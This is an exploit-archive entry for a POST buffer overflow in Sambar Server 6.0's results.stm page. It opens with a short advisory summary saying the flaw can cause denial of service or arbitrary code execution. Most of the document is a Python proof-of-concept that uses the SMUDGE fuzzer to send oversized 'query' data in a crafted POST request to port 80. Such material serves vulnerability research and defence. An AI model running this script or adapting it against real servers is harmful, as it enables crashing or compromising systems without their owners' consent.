Sambar Server 6.0 - 'results.stm' POST Buffer Overflow

source: https://www.securityfocus.com/bid/9607/info

A buffer overflow vulnerability has been reported in the Sambar web server. The issue is due to a boundary condition error in the POST data processing of the affected software.

Immediate consequences of an attack may result in a denial of service condition. It may also be possible for the attacker to manipulate process memory and execute arbitrary code in the context of the vulnerable process.

# http://felinemenace.org/~nd/SMUDGE
# Sambar script (c) [email protected]
from SMUDGE import *
import sys
sm = SMUDGE(1)

sm.setname("SambarOverflow")

sm.plain("POST /search/results.stm HTTP/1.1")
sm.addcrlf()
sm.plain("Host: MSUDGEDPU")
sm.addcrlf()
sm.plain("Content-Length: ")
sm.blocksize("postdata")
sm.addcrlf()
sm.addcrlf()
sm.putblock("postdata")
sm.addcrlf()
sm.addcrlf()

sm.newblock("postdata")
sm.updateblock("postdata","spage=0&indexname=docs&query=")
sm.blockvariable("postdata","MEEP")
sm.updateblock("postdata","&style=page")

sm.run("127.0.0.1",80,"topdown","single")